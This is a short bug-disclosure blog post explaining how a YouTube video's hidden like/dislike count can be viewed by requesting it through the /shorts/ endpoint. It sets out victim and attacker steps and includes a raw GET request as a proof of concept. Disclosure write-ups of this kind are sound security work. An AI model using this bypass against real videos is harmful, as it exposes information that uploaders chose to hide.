Jay Jani

This one is another way by which I was able to see like/dislike count of any video even if it sets hidden by the uploader.

You might want to read before moving ahead : How I was able to see likes and dislikes count which is hidden by victim | YouTube #1

So let’s get started.

Exploitation:

Victim:
1. Upload video
2. Edit video
3. Disable like count on video
4. Save

Attacker:
1. Visit this GET request

GET /shorts/<short_id> HTTP/1.1
Host: www.youtube.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: <cookies>

2. Change the shorts video id to victim’s video id
3. Attacker is able to see like/dislike count.

PoC video: https://www.youtube.com/watch?v=K1MH_cJy0Ds

--

--